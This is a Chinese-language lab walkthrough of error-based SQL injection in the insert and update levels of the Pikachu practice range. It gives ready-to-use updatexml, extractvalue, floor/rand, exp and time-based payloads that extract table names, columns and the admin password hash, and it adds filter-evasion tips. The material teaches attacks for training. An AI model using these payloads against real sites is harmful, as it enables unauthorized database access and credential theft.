[Pikachu靶场实战系列] SQL注入(insert/update报错注入技巧全解析)
1. 初识Insert与Update注入:当“增改”操作成为突破口
很多刚接触Web安全测试的朋友,对SQL注入的理解可能还停留在select查询语句上,比如在搜索框、登录框里尝试' or 1=1 --。但实战中,注入点可能出现在任何与数据库交互的地方,尤其是那些“写入”和“修改”数据的功能。Pikachu靶场里的Insert/Update注入关卡,就是专门为我们补上这块实战短板的。
简单来说,Insert注入通常发生在数据“新增”的场景,比如用户注册、发布新文章、添加商品到购物车。后端代码的逻辑大概是:INSERT INTO users (username, password) VALUES ('$username', '$password')。如果$username或$password这些我们可控的输入点没有经过严格过滤,就被直接拼接进SQL语句,那么攻击者就能像操纵select语句一样,操纵这条insert语句,执行任意SQL代码。
Update注入则发生在数据“更新”的场景,比如修改个人信息、更新订单状态、重置密码。它的后端逻辑类似:UPDATE users SET email='$email' WHERE id='$id'。同样,如果$email或$id等参数可控且未过滤,这里也会成为注入的温床。
为什么这两种注入特别值得关注呢?第一,它们往往位于需要一定权限才能访问的功能点(如已登录用户的个人中心),容易被常规扫描器忽略;第二,由于执行的是insert或update操作,页面通常没有直接的“数据回显”,你无法像在查询注入里那样,直接把数据库名、表名直接显示在网页上。这就引出了我们本次实战的核心技巧:报错注入。当页面没有正常回显时,我们可以通过故意构造一个会让数据库报错的SQL语句,让数据库在执行insert或update的同时,把我们需要查询的信息(比如数据库名、表内容)通过错误信息“吐”出来。这就像你问一个人问题他不回答,但你故意激怒他,他一生气骂你的时候,反而把秘密说漏嘴了。
在Pikachu靶场中,这两个漏洞点设计得非常典型。Insert注入点就在一个看似无害的“用户注册”页面,而Update注入点则在登录后的“修改个人信息”功能里。接下来,我们就手把手地,从最基础的漏洞发现开始,一步步拆解如何利用报错注入技巧,在无回显的场景下“盲摸”出整个数据库。
2. 实战Insert注入:从用户注册到数据库“脱裤”
我们首先进入Pikachu靶场的“Insert注入”关卡。面前是一个标准的用户注册页面,需要填写用户名、密码、性别、手机号等信息。我的习惯是,见到任何输入框,先想:它会不会直接拼接到SQL语句里?最简单的测试方法,就是输入一个单引号'。
我在用户名处输入admiin'(注意这里故意拼错,是为了测试一个不存在的用户,避免和已注册用户冲突),其他信息随便填,点击注册。果然,页面返回了一个MySQL语法错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admiin'', '123456', '1', '13800138000', 'test@test.com', 'Beijing')' at line 1
这个报错信息是金矿!它直接把后端拼接好的SQL语句片段暴露给我们了。从near ''admiin''这里可以看出,我们输入的用户名admiin'被两个单引号包裹了,这说明注入点就在用户名这里,并且原SQL语句是用单引号来包裹字符串值的。但仔细看,错误提示的末尾是')',这说明整个VALUES列表很可能被一对括号()包裹着。所以,我们不仅要闭合前面的单引号,还要处理后面的那个括号。
为了确认SQL语句的结构,我通常会尝试构造一个合法的插入语句来“猜”。我尝试输入:admiin','111','222','333','444','555')#。这个Payload的意思是:admiin'闭合用户名并结束字符串,后面的,‘111’等是用来匹配INSERT语句中其他字段的值,最后用)#注释掉原语句末尾可能存在的')`。提交后,如果页面没有报错(或者提示注册成功/失败,而非SQL错误),那就说明我们猜对了语句结构。在Pikachu里,这样操作后页面会跳转,表明确实执行了插入操作,验证了我们的猜测。
漏洞确认了,但问题来了:注册页面成功后只会跳转或提示“注册成功”,它不会把数据库里查询到的数据展示给你看。这就是典型的“无回显”场景。这时候,就该报错注入登场了。我们的目标是,让数据库在执行插入操作的同时,执行一个查询,并把查询结果通过错误信息返回。
MySQL提供了几个有用的报错函数,比如updatexml()、extractvalue()和floor()。在Pikachu这个环境里,我们主要使用updatexml()。它的语法是UPDATEXML(XML_document, XPath_string, new_value),本意是更新XML文档的内容。但如果第二个参数XPath_string的格式是非法的,它就会报错,并把这个非法字符串的内容显示在错误信息里。我们可以利用这个特性,把我们要执行的SQL查询语句的结果,作为这个非法XPath字符串的一部分。
构造第一个Payload:在用户名处输入:admiin' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) or '
我来拆解一下这个“魔法”:
admiin':闭合原语句中用户名前的单引号。and:逻辑与,确保我们的报错语句能成为原INSERT语句执行条件的一部分。updatexml(1, concat(0x7e, (select database()), 0x7e), 1):这是核心。concat(0x7e, (select database()), 0x7e)会把波浪号~、当前数据库名、再一个~连接成一个字符串,例如~pikachu~。0x7e是~的十六进制,因为~在XPath语法中是非法字符,能触发updatexml报错。(select database())就是我们要执行的查询。or ':闭合原SQL语句中用户名后面的那个单引号。这样,整个注入语句就能无缝嵌入到原INSERT语句中,形成类似INSERT INTO ... VALUES ('admiin' and updatexml(...) or '', 'password', ...)的结构。
提交这个Payload后,页面没有跳转,而是直接返回了一个错误:XPATH syntax error: '~pikachu~'。太棒了!我们成功通过报错信息拿到了当前数据库的名字:pikachu。这个过程就像是在执行插入命令的“路上”,强行插队让数据库先算了个数学题(查库名),并且把答案写在了错误报告里。
3. 深入报错注入:利用updatexml()分段提取数据
拿到数据库名只是第一步。我们的终极目标,是获取数据库里敏感的表数据,比如users表中的用户名和密码。但直接查询select table_name from information_schema.tables会返回多行结果,而updatexml()报错一次只能显示一行信息的一部分(约32个字符)。所以,我们需要用到substr()或mid()这样的字符串截取函数,以及group_concat()或limit来控制返回的数据。
首先,我们来获取当前数据库pikachu中的所有表名。因为表名可能很长,我们使用group_concat(table_name)把所有表名用逗号连接成一个长字符串,再用substr()分段取出。构造Payload如下:
' or updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 1, 31), 0x7e), 1) or '
这个Payload比之前复杂一些:
' or ... or ':用or进行闭合,这样无论前面条件如何,我们的报错语句都会执行。substr((select ...), 1, 31):从合并后的表名字符串的第1个字符开始,截取31个字符。为什么是31?因为updatexml报错显示的信息长度有限,需要留出一个字符给前缀的~。where table_schema=database():限定只查询当前数据库pikachu下的表。
提交后,报错信息显示:XPATH syntax error: '~httpinfo,member,message,users,xs'。可以看到,我们得到了部分表名:httpinfo,member,message,users,xs,但最后一个表名xssblind被截断了,只显示了xs。
这就需要我们进行第二次查询,从第32个字符开始截取。修改Payload中的起始位置:' or updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 32, 31), 0x7e), 1) or '
这次返回:XPATH syntax error: '~sblind~'。将两次的结果拼接,就得到了完整的表名列表:httpinfo, member, message, users, xssblind。我们的目标很明确,就是那个存放用户凭证的users表。
接下来,查询users表有哪些列(字段)。Payload构造思路类似,只是查询的目标变成了information_schema.columns:
' or updatexml(1, concat(0x7e, substr((select group_concat(column_name) from information_schema.columns where table_name='users'), 1, 31), 0x7e), 1) or '
注意,这里where table_name='users'中的users需要用单引号引起来。提交后,得到报错信息:XPATH syntax error: '~USER,CURRENT_CONNECTIONS,TOTAL_'。信息被截断,我们依次调整substr()的起始位置为32、63进行查询,最终拼接出users表的完整列名:USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS, id, username, password, level。我们最关心的当然是username和password列。
最后,就是激动人心的时刻:提取users表中的实际数据。我们使用concat(username, ';', password)将用户名和密码用分号连接起来,再用group_concat合并所有用户的数据。同样需要分段查询:
' or updatexml(1, concat(0x7e, substr((select group_concat(concat(username, ';', password)) from users), 1, 31), 0x7e), 1) or '
返回:XPATH syntax error: '~admin;e10adc3949ba59abbe56e'。看到了admin用户和其密码MD5值的前半部分。进行第二次查询,从第32位开始:
' or updatexml(1, concat(0x7e, substr((select group_concat(concat(username, ';', password)) from users), 32, 31), 0x7e), 1) or '
返回:XPATH syntax error: '~057f20f883e~'。拼接后,我们得到admin用户的完整密码哈希:e10adc3949ba59abbe56e057f20f883e。经验丰富的你一眼就能看出,这是123456的MD5值。至此,通过Insert报错注入,我们成功从注册入口“盲打”出了后台的管理员密码。
4. 转向Update注入:个人资料修改处的陷阱
搞定了Insert注入,我们再来看看Update注入。在Pikachu靶场中,你需要先用刚才注入出的账号(或者随便注册一个账号)登录系统。登录后,通常会有一个“修改个人信息”或“个人资料”的功能,这就是典型的Update操作场景。
我登录后,找到修改信息的页面,随意修改了手机号或地址,然后提交,并用Burp Suite或浏览器开发者工具抓取这个POST请求。抓到的数据包大概长这样:sex=1&phonenum=13888888888&add=Shanghai&email=new@test.com&submit=submit
我的测试思路是,尝试在每个参数后面添加一个单引号',观察哪个参数会引发数据库报错。当我尝试在sex参数值后面加单引号,即发送sex=1'时,页面果然返回了SQL语法错误。这说明sex这个字段存在注入点,并且它很可能被直接用于类似UPDATE users SET sex='$sex' WHERE username='xxx'这样的语句中。
确认漏洞后,利用方式和Insert注入如出一辙。因为同样是Update语句中的值未过滤,并且页面没有回显。我们直接祭出报错注入Payload。例如,查询当前数据库名:
sex=1' or updatexml(1, concat(0x7e, database()), 0) or '&phonenum=111&add=111&email=111&submit=submit
这个Payload的构造逻辑和Insert注入完全一致:
1':闭合原SET sex='中的单引号。or updatexml(...) or ':插入我们的报错注入语句,并用or '闭合后面可能存在的单引号。- 后面的
&phonenum=111...是其他参数,保持原样即可。
提交后,同样会收到XPATH syntax error: '~pikachu~'的报错,成功验证漏洞并获取信息。后续的数据提取流程,无论是查表、查列还是查数据,其Payload构造方法与上一节在Insert注入中演示的完全一样,只需要把注入点从注册时的username字段,换成这里的sex字段即可。你可以把之前用来查表、查用户数据的Payload,直接套用到这个Update请求的sex参数里,就能一步步提取出所有信息。
这里有一个实战小技巧:在Update注入中,由于你通常已经处于登录状态,你的请求会携带Cookie或Session。所以用工具(如Burp Repeater)重放请求时,一定要把浏览器中的Cookie值也复制过去,否则服务器会认为你未登录而拒绝请求。我刚开始玩的时候,就经常忘了带Cookie,对着一个返回302跳转的页面琢磨半天,后来才反应过来是权限问题。
5. 报错注入函数全解析与技巧进阶
在整个实战过程中,我们主要依赖了updatexml()这个函数。但MySQL中可用于报错注入的函数不止这一个,了解它们的原理和差异,能让你在遇到WAF过滤或特定环境时,有更多的选择。下面我对比一下几个常用的报错函数:
| 函数 | 语法 | 报错原理 | 特点与限制 |
|---|---|---|---|
| updatexml() | UPDATEXML(XML_doc, XPath_str, new_val) | 第二个参数XPath_str包含非法字符(如~0x7e,^0x5e)或格式错误时。 | 最常用。报错信息可返回约32个字符。需要concat()拼接特殊字符触发。 |
| extractvalue() | EXTRACTVALUE(XML_doc, XPath_str) | 第二个参数XPath_str包含非法字符或格式错误时。 | 与updatexml()原理类似,用法几乎可以互换。也是返回约32字符。 |
| floor() + rand() + group by | select count(*), concat((payload), floor(rand(0)*2)) x from table group by x | rand()在group by时的重复计算导致主键冲突。 | 无需依赖XML函数,在特定版本(如MySQL 5.x)下稳定。但Payload较长且固定。 |
| exp() | exp(~(select ...)) | 对超大数(如~取反后结果)进行指数运算产生溢出错误。 | 另一种绕过思路。~按位取反运算符常被用来构造大数。 |
在实际渗透测试中,如果发现updatexml()和extractvalue()被WAF或过滤规则盯上了,可以尝试换用floor()报错。它的经典Payload长这样:' or (select 1 from (select count(*), concat((select database()), floor(rand(0)*2)) x from information_schema.tables group by x) a) or '
这个Payload看起来复杂,但其核心是利用了floor(rand(0)*2)这个“随机”数在group by时的确定性重复特性,导致计数时出现重复键而报错。报错信息中会包含我们concat进去的查询结果。
除了函数选择,数据分段提取是报错注入的另一个核心技巧。当查询结果很长时(比如group_concat了所有用户密码),我们必须像前面做的那样,用substr(string, start, length)来分块读取。这里有几个细节需要注意:
- 起始位置计算:
substr()的起始索引通常是1,不是0。每次截取后,下一次的起始位置是当前起始位置 + 本次截取长度。我一般习惯用31作为长度,为报错信息开头的~留出位置。 - 使用limit替代group_concat:如果
group_concat被禁用或者返回结果超长被截断,可以用limit子句一行行读取。例如:(select table_name from information_schema.tables where table_schema=database() limit 0,1),每次只取一行,然后通过修改limit N,1中的N来遍历所有行。 - 闭合的稳定性:在Insert/Update注入中,闭合方式除了我们用的
' or payload or ',有时也可能遇到')、'))等闭合。关键在于仔细观察第一次单引号报错时,错误信息中暴露的SQL语句片段,灵活调整闭合方式。
最后,再分享一个我踩过的坑:在实战中,有时updatexml()报错返回的信息会被Web应用程序全局错误处理器截断或美化,只返回一个通用的“数据库错误”页面,不显示具体内容。这时候,可以尝试使用基于时间的盲注作为备选方案。虽然效率低,但更隐蔽。例如,在Update注入点可以尝试:sex=1' and if(ascii(substr(database(),1,1))=112, sleep(5), 1) or ',通过页面响应时间是否延迟5秒来判断字符是否正确。这属于另一个话题了,但多一种技术储备,就多一条路。
